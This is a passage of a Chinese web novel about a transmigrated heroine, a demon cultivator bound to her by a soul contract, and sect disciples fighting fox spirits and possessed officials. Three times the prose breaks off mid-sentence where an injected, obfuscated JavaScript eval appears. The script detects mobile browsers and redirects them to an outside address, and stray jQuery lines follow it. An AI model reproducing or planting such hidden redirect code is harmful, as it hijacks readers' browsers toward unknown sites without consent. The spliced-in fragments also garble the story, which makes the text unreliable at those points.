不怪她啊……被那鬼东西附身之后,她自己强行将妖物剥离出来,脑袋到现在都还是晕的。
鬼知道附身了多久,风宴又为什么不直接杀了那妖物?最后还要靠她自己才醒过来。
还是说这俩人没准已经……
阮清木顿时倒吸一口气。风宴修长冰凉的手蓦然抓住她的下颌,将她的脸掰了过来。
“你在想什么?”
那双妖异的眉眼死盯着她,怒意几乎要在眼底燃出一层火来。
她能清晰地感觉到,一股暗红色的魔气自他身体中疯狂溢出,像无数条毒蛇般倏地缠绕攀附,紧紧缚住了她的脖颈。
现在无论做出任何回应都只怕会火上浇油。
脸颊被他捏得隐隐作痛,阮清木的长睫快速地颤动了几下。
“在想……”
“我的心跳得这么快,一定是因为你长得太好看。那个妖勾引你不成,反倒自己被勾了魂。”
她一向很会说讨好的话。
哪怕被他威胁着,也会眼睛都不眨地就说出这些诓人的鬼话。
她又要开口说什么,低声唤道:“表哥……”
风宴怒道:“闭嘴。”
胸膛里的心跳仍跳得极快,甚至快要冲破她的身体。
阮清木阖上眼,捂着心口转身躺下,“我现在不能看你,奇了怪了,这心跳怎么回事?”
地上蜷缩的狐妖忽然发出动静,自喉间挤出的咯咯笑声,十分诡异。
不知何时竟将自己修炼多年凝练出的本命精血燃烧起来,灵力倾泻而出,冲破了对她五感的禁制。
风宴狠厉地回过头,他抬起手,五指张开后猛然握拢,收紧的那一霎,那蜷缩着的狐妖被红色魔气瞬间从地上被拎起。
欲将所有的怒意全都发泄在那狐妖身上。
“就算你现在杀了我,又能如何?还会有源源不断的妖鬼,如我这般,缠上这截木头。”
话音一落,阮清木睁开眼,倏地自床榻上起身,见风宴暗红色的魔气已如咒印般将那团黑气死死缚住。
“为什么缠上我?我们之前有仇?”
她这才看出那狐妖其实早已没有了肉身,是一只妖鬼。
先前还以为是妖气覆盖全身所以看不清她样貌,现在那妖鬼被魔气压制,身上的妖气散去。
将自己仅存的一滴本命精血燃起后,她似是回光返照般,缓缓显露出生前的绝色容颜,眼尾飞挑,惊心动魄的艳丽。
幽幽响起的声音空灵且十分魅惑:“凡胎□□,却是一截木头的化形,虽有朽坏之时,却寿元长久。如此上等的容器,三魂七魄哪怕仅剩一魄,只要放在这具身体,便可重塑神魂。”
说话间,她那缕最后的魂识飘起,“小姑娘,单单只是防妖鬼上身可不够哦,像我这样的心善的可不多,下次等着你的……”
“只会是诛魂夺舍。”
话音一落,她便自燃神魂,烟消云散。
窗外阴风四起,像是有无数怨魂借着风声凄厉惨叫。
阮清木瞟了一眼风宴,没看出他面上有什么情绪。
也是,估计这妖鬼所言,他早就知道。
她这截木头身子,倒不是不死不灭那么特殊。但以树木的寿命来算,她确实寿元很长很长。所以对于原主来说,无尽的寿命反而是一种负担。
必须要不断寻找支撑这截木头化形的心脏。
一旦变回木头,便陷入无尽的沉睡。
燃了一半的烛火突兀得响了一声。
阮清木突然觉得自己像案板上的鱼,不知道该喜还是该忧。刚穿进来时,总被恶鬼缠上,那时她单纯的以为是原身之前仇家太多。
原来是这块木头太招鬼。
“表哥。”阮清木忽然开口,打破寂静,“她好像把我说得很厉害的样子,看起来很抢手。”
风宴只留一半侧脸给她,看不出他此时在想什么。
“我们之间的交易应该不止这次的魄珠吧。”她继续说道。
“我知道表哥很厉害,杀了这些妖鬼只需动动手指。”
虽然和风宴绑定了魂契,可以借用他的修为,但对她来说,空有实力和能将其发挥到极致是两回事。
倘若真如那狐妖所说,她这截木头这么诱人,那就如一块待宰的羊,暗处不知道有多少双眼睛。
她忽然凑上去,拉住风宴的手,柔声道:“表哥能不能一直如今日这般保护我?”
风宴的手冷得像冰。
“如果表哥一直待我好,我愿意把这截木头只留给表哥一人。”
反正若她走完原书的剧情,那最后的结局便是死在温疏良的剑下。到时她就离开这个书中的世界,剩下发生的便都与她无关。
既然这样,她将这木头给风宴就好了。管他想拿来做什么,把她上面尚未耗尽的寿元拿来换取修为也行。
风宴终于有了反应,他回过头,“你什么意思?”
阮清木的指尖贴合着风宴的掌心。
“意思就是,如果哪天我真不小心死了,与其这截木头肉身被别人占去,我愿意把这个留给你呀。”
“因为你对我好。”
他沉默地望着她,看了她很久,久到阮清木以为,他是不是没有听清自己在说什么。
“我没有对你好。”风宴突然回道。
阮清木瞬间被哽住,她想了想,说:“那就以后对我好。”
风宴忽然浮出一抹讥笑:“对你好,还会让你死?”
阮清木佯装思索的样子,“毕竟人总有失手的时候嘛,就譬如下次出现一个比今日还要再强百倍千倍的妖鬼,你万一没打过,我不小心死了。这种情况,我不怪你……”
“不可能。”
风宴突然打断她。
“不存在这种情况。”风宴又说了一遍。
见他眼睛都不眨地盯着自己,仿佛在跟她较劲一般。阮清木只当他是少年意气,不认同说他会有打不过别人的情况。
阮清木歪头道:“你有那么厉害?”
系统在他们初识那一夜就提醒过她,即使绑定了魂契,命格相连,但若她死了,契约自动解除。风宴或许会受些影响,但绝不至于被她牵连到丢失性命。
魂契不过是二人暂时合作的契约罢了。
若真的命格相连,以风宴的实力,又怎么会让如此牵制他的契约存在。
所以如若他现在以魂契为理由,说她不会死,那完全就是诓她,她是不会信的。
但出乎意料的是,风宴也默契地没有提魂契,只盯着她。
阮清木妥协了,她无奈地点头道:“好好,表哥你最厉害。”
骤然间一声凄厉的叫喊声划破寂静的夜幕。那叫喊声如同点燃了引线,整条长街都被惊醒。
二人的交谈被打断,同时望向窗外。
惊恐的哭喊声、桌椅被撞翻的声音、孩童的啼哭声一时间在寂静无声的夜晚炸开。
客栈内几间客房的门猛地被推开,自屋内闪身几名白衣持剑的修士。
凌无相带着几个万灵宗的弟子朝着哭喊声传来的方位飞身而去。
“结阵!”
他一声沉稳的低喝,身后几名修士迅速排好方位。分别占据剩下四个角落,同时掐动剑诀,口中念念有词。
凌无相立于法阵的阵眼之上,将自己的本命剑作为整个阵法的中枢,自己并指如剑,随着他的动作,那剑阵骤然分出十几道锋锐无比
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247412|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的剑气,分裂向四面八方,刺向不远处的几道黑气。
剑气中了几个妖物,那妖发出吃痛的怒吼,喉中挤出咆哮,转头向凌无相及几位修士袭来。
凌无相身形一闪,掌中抓住自己的本命剑后便跃出阵外,几名修士继而驱动阵法,剑阵腾空而起,正好擒住飞掠而来的妖物。
金光乍现,剑阵中的黑气却丝毫不减,反而更为猖狂。凌无相持剑入阵,一剑刺下,正中那妖物的后心。
一声痛苦的咆哮,那妖的后背出现一道骇人的剑痕。
只是这一剑却好像彻底激发了那妖的杀意,且四面八方源源不断地妖鬼循声赶来。比之前更加污秽的妖气弥漫开来,剑阵不堪重负,几名弟子面色惨白,开始抵挡不住。
凌无相与那妖物缠斗着,余下几名弟子不仅要维持剑阵,还要与妖鬼斗法。
一时间,剑气纵横,妖气翻涌。
但最终还是几名年轻修士的修为难撑这凶恶的妖气。
一名弟子再也承受不住,猛地喷出一口鲜血,跪倒在地,剑阵缺了一人,光芒瞬间黯淡了下去。
那妖物也瞬间抓住这个机会,发出一声怒吼,将全身的修为全部汇聚在掌中,将凌无相逼得连退了几步。
他口中溢出血线,从攻势逐渐转为只剩抵挡,一招不及,那妖力只袭向他胸口。
“师兄!”身后传来弟子焦急的叫喊,但已然来不及。
凌无相抬剑立于胸前,打算硬接下。
但紧接着,一道迅疾的银色剑气自巷中疾驰而来,铮的一声,利刃刺穿肉身的闷声响起,血光四溅。
阮清木在二楼的窗边向下望去,温疏良一身湖青色的衣袍,身影轻盈,掌中运力将长剑收回。
身后还有云渡珩和其他几名云霄宗的弟子,两个门派的弟子打了个照面,彼此间都默契的没有任何言语,全部将注意力都放在余下妖物身上。
有云霄宗弟子赶来相助,局势转瞬扭转过来。一道道银色剑光密集地将那妖物包围,伴随着一声声惨叫,凌无相御起自己的本命剑,朝着那妖物的头颅刺下最后一剑。
终于惨叫声消失,砰地一下子倒地,再无生息。
余下一些妖鬼也纷纷被擒住,镇压于法阵之下。方才还生死一线的氛围,骤然沉寂下来,只剩远处宅邸内百姓劫后余生的抽泣声。
凌无相缓缓拔出插在妖物头颅上的长剑,剑身的妖血被他清理干净后,收回掌中。
他犹豫一瞬,才转身对着云霄宗的弟子抱拳一礼,“多谢几位道友出手相助,在下……”
“无相!”温疏良忽然打断了他。
云渡珩也从温疏良的身后探头而出,神色不似平日里那般总带着冷意,她笑着回道:“凌师弟,许久未见,身手还是这么好。”
阮清木在暗处微微蹙眉。看来那苏婧空的记忆没有出错,凌无相之前应该就是云霄宗的弟子。
但凌无相并无心与他们叙旧,甚至看起来很避讳。他转身看向一地狼藉,朝着万灵宗的几名弟子走去,先查看伤势较重的那个修士的情况。
留云霄宗弟子在原地面面相觑。
温疏良轻笑一声,回头看了一眼不远处的客栈,和云渡珩还有炎昀一行人朝这方向走来。
阮清木往外探着的身子忽然缩了回来,一回头正撞到风宴的怀里。
“看够了?”冷冰冰的声音从头顶传来。
阮清木点了点头。
下一秒就被拎到了床上。
“那就睡觉。”风宴的语气已然不悦。
原本今夜本可以杀了温疏良,就算杀不成,也能将其重伤。结果现在一夜过去,什么也没做成,再加上一直以来持续的莫名的烦躁感,风宴无处发泄。
“哦。”
阮清木听话地坐回床上。估摸着是因为这城镇靠近妖域,所以夜晚居然如此危险,妖物纵横。凌无相和那几个修士看起来也不像是路过,反应如此迅速,看来是有备而来,特意在此镇守。
她脑中回忆着那几道明亮的剑影。
忽然抬起头问道:“表哥,好像真的从未见过你用剑的样子。”
风宴的动作忽然顿住,他蹙起眉,不悦道:“看这个做什么?”
“好奇。”她半撑起头,想起何言先前说的话,他不会真的对剑道不熟吧。
可风宴连眼皮都未抬一下,直接将床上的薄被掀到阮清木的脸上,漫不经心道。
“还没有遇到什么需要我拔剑才能应对的场面。”
26. 第 26 章
风宴似乎精通世间的杀伐之术,却唯独很少有人见他用过剑。
就连那只自幼时就被风宴捡回,伴其左右的灵宠,见他拿剑的次数,一只手都能数得过来。
甚至他还有一柄足以天地都为之失色的本命灵剑——妄月,连带着那魔剑都从不示人。
直到有次风宴被瑜宸宫的宫主公然挑衅,在一夜荒寒月色之下,风宴手起剑落将瑜宸宫的一宫之主给杀了,顺便接手了瑜宸宫,成为新任宫主。
也是那一夜,炎昀第一次见过他那柄灵剑的样子。自他满是黑色魔气的掌中抽出,那狭长的剑身却丝毫不受魔气影响,一柄银光剔透的雪色长剑,剑柄之上还盘踞着一条通体雪白的蛇身。
就连清冷月光碰到那身剑身的光芒,都显得略微逊色。
那无疑是他此生见过的最好看的剑,纵使他之前身居在仙界,也没有见到能有剑光宛如星河,自带着睥睨众生的孤傲狂妄,甚至和风宴是一个脾性。
他出手的剑术速度极快,每一招一式都流畅华丽,就连眼神都会变得极为痴迷,甚至近乎虔诚。简直不像堕魔之人,更像出身于哪个名门正派的仙道弟子。
是旁人穷极百年都追不上的天赋,类似于修真界中万里挑一的天生剑骨的天才。
魔修之中是没有人会这般修炼剑道,甚至会对修真界那些花里胡哨的招式不屑一顾。所以,炎昀甚至怀疑风宴是否是哪个仙家弟子误入了魔道。但仔细想来,是也没有任何一个名门正派会收一个妖族做为弟子。
不过虽然他剑道精湛,但更多时候,风宴宁愿更耗费灵力,甚至近身搏杀,也在刻意回避着用剑。
其中原因只有风宴自己知道。
因他曾经确实有着常人羡慕不来的极致天赋,天生剑骨,剑即是他的骨,他的魂。在旁人还在为悟出一丝剑气而痛苦时,他便已人剑合一,浑然天成。
可也是这身剑骨将他推入地狱。
背间有一道自脊椎破开的狰狞可怖的疤痕。那是他的剑骨被人活生生剔出的痕迹。剑骨被剜时,血肉粘连,他只觉四肢百骸的经脉都断了。
那人又将他胸膛剖开,拔掉了两根肋骨,接在他的剑骨之上,最终那几节白骨蜿蜒缠在自己的手中。因剑骨便是剑道的灵魂,将剑骨外置于自己的手中,便可自通剑道。
风宴被丢入魔域,被魔兽争先啃食肉身的痛,比不过骨髓深处痛楚的万分。
所以失了剑骨的人,又如何再拿起剑呢。
纵使他在魔域中靠邪术将自己的修为一路暴涨,掠夺了天地间所有阴煞之气。再用剑时,可以凭借魔气御剑,一招一式与之前的他没有任何区别。
甚至因有修为加持,招式威力都更胜从前。
他却心中始终清楚,再漂亮的剑术也只是对从前拙劣的模仿。所以深入骨髓中的恨,只会又增添一分。
他在床榻上缓缓阖上眼,只觉今夜的明月也同当时一样亮得毫无人性。
-
阮清木自天亮之后就到何言的屋子里去了。谁料她对昨夜妖鬼作祟之事居然一无所知。
“昨晚上那么大动静,你一点没听见?”阮清木不敢相信她的睡眠质量。
何言迷茫地看着她,抬手运转灵力,将窗棂上挂着的一串小铃铛勾到手中,她将铃铛拿在手中晃了晃。
“昨天听你说有妖气,我就把这个挂上了。这铃铛只需一点灵力就能结出结界,我房间被罩住,所以一点声响都没听见。”
除了这铃铛,她屋内的小桌上还摆着各式各样的灵器。
阮清木有点震撼:“还在仙宗的时候我就想问了,你怎么这么多装备啊。”
她眼睛眨了眨,接着道:“嘿嘿,都是我老爹留给我的宝贝。还有更厉害的呢。”说完她就想起她那在鬼域断了音讯的鬼修老爹,一脸愁容。
“昨晚温疏良他们来了吗?”何言问道。
阮清木点头:“半夜到的。刚好碰上凌无相抓那几个作祟的妖鬼,差点被妖鬼打伤,还是温疏良及时出手把他救下的。”
“看起来他和温疏良还有云渡珩还是旧识,好像许久之前也是云霄宗的弟子。”她试探地开口。
“有点好奇他是怎么离开云霄宗,去了其他仙门的。毕竟云霄宗可是修真界的第一门派,这中间……”
何言听她这么说,也被勾起几分兴趣,“他昨天还说你看着眼熟,难不成早就看出我们是云霄宗的弟子,真是故意搭讪的?”
她边说边掏边取出了传讯符,挑眉笑了笑:“我打听打听。”
阮清木勾起嘴角,她就是这个目的。
何言传完讯息,二人索性先下楼在客栈一楼坐着,打算堵到温疏良再见机行事。
沿着吱呀作响的楼梯下楼,就见客栈的大堂外,长街上比前几日要冷清不少,但门前却已围着一些人,嘈杂声传来。
客栈敞开的大门外,长街之上,赫然停着两顶极为奢华的轿子,身旁围着全是衣着华贵的随从和几名小厮。
昨夜激斗后的残局狼藉已经被连夜清理干净,除了两座轿撵,和围过来看热闹的百姓。
滴的一声,面板就忽然弹在阮清木面前,挡住了她向外看的视线。面板上显示着一条长街的小地图,温疏良的位置在小地图上缓慢移动。
她立即拉着何言往面板上显示的位置走去。
“会演戏吗?”阮清木贴在她耳边轻声问道。
何言怔住。
“一会别管我说什么,你就添油加醋地顺着我说就行了。”
她拉着何言左拐右拐,街上铺子大都紧闭着门,昨晚妖鬼这么一闹,今天开门营业的很少。
终于是看到一间铺子,门脸不大,极为雅致,窗明几净的,里面专营一些女儿家喜欢的小玩意,譬如精致的香囊,各种材质的发簪以及大大小小的脂粉物件。
云渡珩许久未来到这般有烟火气的城镇,一大早就薅着温疏良和她一起来街上逛了。
何言也注意到那铺子门前的身影,温疏良一袭湖青色衣袍,长身玉立,随意倚在铺子外的廊柱上,与那铺子格格不入。
正在外面百般无聊地等着云渡珩,那双淡漠的眼眸正漫不经心地扫过街上的人来人往,视线微抬,便掠过了不远处的阮清木,微微一怔。
“你们怎么在此地?”温疏良稍显讶异。
阮清木也露出欣喜之色,上前一步喊道:“温师兄,怎么会在这碰见你?”
温疏良又扫了一眼她身后的何言,面上毫不掩饰闪过一丝疑虑。
阮清木没有立即开口解释,也没有因为被怀疑而流露出丝毫的慌乱和委屈。只任他打量着,旋即拉起何言往铺子中走去。
“那日和你在竹胥居分别之后,我表哥没多久就回来了。只是我当时和他吵了一架,心情不好,我就求着何言带我下山散心了。”阮清木清冷的眸间不带着一丝情绪,仿佛说的事情与自己无关,一副置身事外的样子。
只是从温疏良面前经过时,她看似无意地撩了下耳边的青丝,温疏良的视线被带着往她脸上看去。
正巧就瞥见她那微肿起带着血痕的嘴角。
她抬眸,又想起来什么似的,“所以师兄怎么会在此?应该不会像我这样无所事事,无聊才下山的吧。”
“对了,昨夜听闻这里有妖鬼作祟,莫不是那些百姓口中说的仙君,是师兄?”阮清木忽然眼睛亮起来,强压着眼底的欣喜。
在她这张清冷的脸庞上停留了足足数息,温疏良才轻笑道:“昨夜不是我,是其他宗门弟子,我只是恰巧路过,帮了一手。”
“此次下山也确实是有任务在身,没想到表妹居然会出现在锦安城。”他顿了顿,又问:“你方才说同你表哥……”
“吵架了?”
阮清木这才意识到什么,连忙把脸扭到一旁,暗地里又掐了掐何言的手。
“是啊,他们表兄妹那日吵得可凶了,我在隔壁屋都听见了。”何言伶俐地接过话,“互相喊着什么你是不是蠢!什么我的心意啊你的眼神啊,别干涉我的感情,你为什么就是不懂我,我们之间究竟算什么……”
“说什么呢,才没有这些话。”
阮清木佯装瞪了她一眼,让她噤声。
不亏是写话本子出身的人。
温疏良眸间一暗,他想起那日脱口而出,对阮清木说什么日后会护着她这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258036|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
类的话,当时他就反应过来有所不妥,但奈何话一说出,又难以收回。
想来定是因为他,让阮清木难堪了。
那风宴平日里看着阮清木的眼神就不对劲,其实这是他早就发现了的。
更何况这铁证都挂在她脸上了。
云渡珩从铺子里出来,衣袖间还沾着些淡淡的胭脂香。其实她也喜欢这些小玩意,却又傲气地觉得自己不需要这些东西点缀。于是只看看,转了一圈,什么都没买。
一出来,目光便落在阮清木的身上。长街上逐渐恢复了一些喧闹声,温疏良见了她,先解释道:“表妹下山随便玩玩,也是没料到这么巧在这遇见。”
云渡珩皱了下眉,冷声问道:“什么时候和人家那么熟了,也不问问人家愿意被你叫表妹吗?”
说完,她眼角余光又往阮清木身后扫去,没看见别人,只瞧见了何言。对她不算熟悉,便只是淡淡点了点头。
“你们是偷偷下山的?”虽然面色看着平和,但语气冷了几分,“这般不把仙门的规矩当回事,若是被长老知道,要怎么交代?”
阮清木和何言老实地听着训话,不吭声。
温疏良心中还带着些愧疚,刚要替她解释,一个不合时宜的叫嚷声忽然传来,言语十分嚣张。
阮清木仔细听了一下,大致在骂着什么人是废物,云霄宗和万灵宗的名号在叫骂声中此起彼伏。
温疏良和云渡珩忽然神色一凛,对视一眼,连忙往那声音传来的方向赶去。
阮清木也紧跟着,几人赶到客栈前,见那两个轿子前,几个万灵宗弟子将一人团团围住,身旁还有些随从在劝架。
“昨夜若不是我云霄宗的师兄弟恰好路过,就凭你们,怕是连个最低阶的小鬼都镇不住吧?什么万灵宗,你听过吗?”宋卿羽站在人群中,随意对一个路人开口问道。
那路人被吓得不敢言语。
他又是一声嗤笑,低头对着正在劝架的小厮问道:“你听过吗?什么万灵宗万华宗的?”
那小厮只拦着他:“恩公!恩公莫要再吵了,都是救了百姓的仙家道君,都是恩人啊。”
宋卿羽一身华服,满脸的骄纵,嘴角全是嘲讽的笑意。几名万灵宗弟子脸色十分难看,几人已攥紧了拳头,死盯着宋卿羽,几乎强忍才没有动手。
啪的一声,宋卿羽的脑袋就被人从身后猛地拍了一下。他瞬间燃起怒意,口中叫骂:“谁敢打我?”
一回头就看见云渡珩满脸怒意站在他身后。
“不是将你留在仙门了吗?谁让你自己下山的?”温疏良厉声问道。他转过身扫了一眼万灵宗的弟子,还好是没见到凌无相,不然要让他这么骂,绝对是要打起来。
宋卿羽欲要回嘴,郡守便从那轿子上匆忙下来,“哎!各位仙君!恩公,都是为了我们锦安城的百姓,若不是有云霄宗和万灵宗两家仙君出手相救,这锦安城早成了妖城了。都是我们锦安的恩人啊!”
锦安的县令屁颠地跟在郡守的后面,面上带着谄媚:“是了,平日里锦安就总犯些妖鬼作祟,全靠万灵宗的弟子在此地镇守,现又得云霄宗的仙君庇护。实在是我们百姓的恩荣啊。”
何言凑到阮清木的耳边低声道:“宋卿羽,纨绔任性,仗着被祝奇徽看着合眼缘,平日里跋扈惯了。”
阮清木看着那锦安的县令,也就是苏婧空的父亲苏正山,在郡守身后赔着笑。
只是奇怪的是,听见自己女儿的仙宗名号也没什么特别的反应。
她抬起头往客栈二楼望去,正好瞧见风宴倚在窗边向下看着她。
阮清木对着风宴歪头笑了一下,结果下一秒被突然弹出的面板挡住了视线。
她笑容僵住,死爹任务又来了。
系统:“这县令已被妖鬼附身,等下攻击温疏良时,你冲上去替他挡一下。但宿主放心,只是剧情需要,并不会让你真的受伤,任务完成后还会提升温疏良的信任值。”
“……”
“凭什么我替他挡伤害?”阮清木脱口而出,但系统没回她,冷漠地响起倒计时,随后将面板收回。
时停消失,风宴在二楼也对她回了一个浅浅的笑。
27. 第 27 章
目光相抵时,风宴那浅浅的笑意让阮清木有些晃神。他身上换了一袭玄色的锦袍,纤长的脖颈露了出来,墨发也高高束起,风姿翩翩,看起来心情好似不错。
阮清木先移开视线,将注意全放在那个县令苏正山的身上。虽然事先被系统预告此人被妖鬼控制,但单从他那副老实讨好的样子来看,是一点也看不出有什么不正常之处。
凌无相从客栈中走出,也是察觉到长街上的冲突,他走进人群,神色严峻地开口:“怎么了?在吵什么?”
苏正山见了凌无相更是迎了上去,笑道:“仙君,多亏您带着万灵宗的弟子在这守了这么多日,这半月来当真是辛苦您了。”
“哟,这么大架子,就你们……唔!”宋卿羽刚要继续嘲讽就被温疏良捏了静口诀。
但显然凌无相更不想理会苏正山,对着自己门内的师弟们说道:“身上有伤的就先去休养,过几日启程去洛方镇,那地方可不比这锦安城。”
温疏良一听到洛方镇三个字,有些讶异:“无相,那洛方镇听闻妖煞气极重,你们去哪做什么?”
明明自己也是要去洛方镇的人,现在反倒先套别人的话了。
宋卿羽在一旁将眼睛瞪得极大,嘴里支支吾吾地哼唧着。
凌无相扫了一眼温疏良,不置可否地笑了笑:“明知故问呢?你们云霄宗弟子特意下山来此,怕不是要和我们万灵宗的目的相同吧。”
这些话音一字不落地全都落在阮清木的耳朵里,她微蹙起眉。
要说玄虞州目前的仙门百家论资排辈,一是看各宫主长老以及内门弟子的实力,二则就是看镇妖诛邪之功,此为苍生所系,功深者自得天道垂青。
万灵宗的名号虽不及云霄宗,但也不是小门小派。看来也是奔着这百妖王去的。
那就又多了一个竞争者。
虽说她的任务只要阻止温疏良拿到那魄珠就可以了,但她毕竟也答应了风宴,会帮他取那颗魄珠,那她现在自然站风宴这边。
她留意着苏正山的站位,此刻倒是离凌无相更近一些。
阮清木想着,要是苏正山忽然有所动作,干脆把凌无相推到温疏良面前,让他去挡好了。反正保证男主不受伤就行,这样还可以少一个竞争对手。
就这样她悄然挪动着位置。
“仙君,下官在这城中另有一套空置的别苑,久无人居,倒也十分清净。想来诸位仙君既要休养,不妨移步我那宅院中,还有粗使下人服侍您。”一旁的郡守忽然开口,对凌无相一副实在难表言谢的样子。
凌无相倒对郡守有所反应,他想了想,道:“住客栈确实不方便,但我倒不想住你的宅邸。”他转过头,看向苏正山。
苏正山连忙恭敬地开口:“有的有的,仙君,若您想住在卑职的宅邸,这也就是您一句话的事。”
郡守转头问温疏良:“那这位仙君,不妨到我府歇息。”
“不必,我们今夜便动身。”温疏良只冷笑着回了一句,说完便拂袖离开。
宋卿羽虽然说不了话,但喉间却挤出笑声,得意地扫了一眼万灵宗的人,转身跟着自己大师兄离开。
苏正山面上的笑容忽然凝固,双眼的瞳孔忽然变大变黑。因两个门派弟子没了方才剑拔弩张的气势,精神都松懈了下来,没人注意到这异样。
阮清木抬起手,找好角度,准备——
骤然间,苏正山的脑袋直直向后转了个圈,手指瞬间变得尖锐,径直朝温疏良背后抓去,口中还不忘喊了一句:“仙君留步啊!”
阮清木的手刚搭在凌无相的身上,瞬间脑中就弹出系统的警告声,紧接着身体便不受控制,猛然向前,挡在了温疏良的面前。
“不是……!”
她还没来得及反应,甚至连众人都没看清那县令的身影,她就被系统抓到了温疏良的身旁,眼看着那鬼手向她胸前袭来。
虽说系统提示过她不会受到伤害,但这种危机时刻谁能记住这话?
她脑中一片空白,抬掌运起灵力就要先劈向那县令的脑袋。与此同时,好似还有另一股力量压制在那县令身上,他神色猛地痛苦。
系统忽然出现:【警告!因识别到宿主异常反应,此任务可能出现偏移。】
被妖鬼附了身的苏正山的鬼手一抖,撕拉一声,血溅四起,虽然被卸了些力道,方向也偏了,但那狠厉的鬼掌还是钉在了阮清木的肩膀上,沿着锁骨一路划出骇人的伤口。
不是说不会受伤的吗?
“清木!”何言和云渡珩的声音一同响起。
阮清木只觉肩处传来撕裂般的痛楚,疼得她眼前猛地一黑。那妖鬼的一掌还带着妖力,瞬间感觉心脉都受了影响。
要不是她比较能忍痛,只怕现在眼泪都要掉下来了。
这回不是装的,她双腿一软就往温疏良的怀里倒了下去。
云渡珩已瞬行过来,长剑一挥,先是运起灵力将那邪物制住,旋即将剑尖往前一送,便要割下苏正山的脑袋。
铮的一声,又是一道剑光,竟横在她的剑下。云渡珩震惊地抬眼看去,拦住她的人居然是凌无相。
“你这是做什么?”云渡珩厉声问道。
凌无相忽然顿住,面色十分难看。一个万灵宗的修士,当着众修士师弟的面,居然不许她杀一只妖,无论是何理由都十分荒谬。
缩在温疏良怀中的阮清木身子一抖,她胸口发痛,猛地溢出一口血来。
温疏良急忙掐诀给她渡去灵力,伤口止了血,但嫩绿色的衣裙全被血迹浸满,她面色惨白,声音颤着:“温师兄……”
倒是装绿茶的好机会,阮清木忍着痛也要继续说:“我没事。”
砰的一声,一股极强的灵压闪至众人之间,凌无相和云渡珩的灵剑都被震开,那苏正山的身子陡然被拎起,脚尖离地,脖颈被捏出骨骼作响的声音。
阮清木一下子就瞥见了风宴。
余下在场所有人也都怔住,不知他是从哪出现的,且这一身的灵压也强得令所有人都倒吸一口凉气。
他手中虽捏着苏正山,眼神却落在阮清木的身上,面上带着不解的讥笑。
“你倒真是让我好找啊。”他语气冷到了极点。
阮清木抽了一口气,咬紧牙配合着他开口:“表哥你……怎么在这。”
一时间只有凌无相回过神来,他上前一步:“这位道友,他只是被妖鬼附身,莫要将无辜之人杀了。”
风宴回过头,像是没听懂他在说什么。
凌无相竟眸光闪烁,噗通一声,屈膝向他一跪,还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258037|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将手中的灵剑抬起,“把他交给我,我定将这妖鬼挫骨扬灰,若你不信,现在便可先杀了我。”
阮清木意识已有些模糊,但仍强撑着,见凌无相居然下跪恳求风宴,那段苏婧空的记忆再次浮现,最终留在她识海中的悲伤,她到现在都还记着。
当初他便是瞒着苏正山,偷偷带着苏婧空离家。
只是当年跟着他远走高飞的小姑娘,现如今却连体面存着尸骨的地方都没有。
她忽然无声地嗤笑,男人果然最会做的就是感动自己。
风宴的手中力道还在加重,他漠然盯着跪下的凌无相,苏正山在他手中抽搐,青筋暴满额间。
他移开眼,猛地将苏正山往他凌无相身上一甩,紧接着一闪而过的剑光,鲜血顺着凌无相的肩头流下。
啷当一声,他的灵剑也跟着落地。
“那我表妹的伤,便由你来还。”风宴甩了甩手,朝阮清木走了过去。
没有一人看清他是何时出手的。
阮清木终于是撑不住,肩处的伤口痛得她意识涣散,在温疏良怀中晕了过去。
-
阮清木做了一场梦。她像是一株瑰丽的参天巨大的树,云雾缭绕,不知是何品种的火红的繁花长满枝叶,随风摇曳。
点点星光和云层就在她身侧,脚下是宽阔没有尽头的一片如碧玉般的灵池,腾起似雾一般化不开的灵韵。
她只轻轻地一呼一吸,便觉得周身的万物都虽她呼吸起伏而流动,仿佛是被她赋予了生命一般,偶尔带起一道道细微的金色灵光。
她抬起头,看见自己的枝叶长到与尽头的云海相连,天光相接,尽头缥缈的夕阳似火光一般。好像不是她的意识,所以阮清木很快便反应过来自己是在做梦。
大概是在仙门待久了,连这么美好静谧的梦境都能出现在她脑中了。
几只仙鹤顺着流光自云海中飞出,口中衔着几节花枝,朝着她飞来。
阮清木下意识地抬手接住,忽然肩处猛地一痛,她抽了一口气,猛地睁开眼。
醒了。
已是深夜,月光自镂花的窗棂投下,她缓缓转动眼珠,借月色瞧着这极为宽敞的房间,就连床榻四角都挂着锦缎帷幔,内里还给她遮住了一层内纱。
她深吸一口气,忍着痛撑起身子,估摸着这就是那郡守府空置的府邸。
